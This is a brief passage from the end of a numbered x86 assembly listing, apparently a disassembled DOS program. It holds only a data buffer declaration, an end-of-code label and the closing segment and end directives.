  1264. buffer_area     db      0FDh                        ; (08A2)
  1265.                 dw      0FFFFh
  1266.                 db      347 dup (0)
  1267. end_of_code     equ     this byte
  1268.  
  1269. seg_a           ends
  1270.   
  1271.                 end     start
  1272.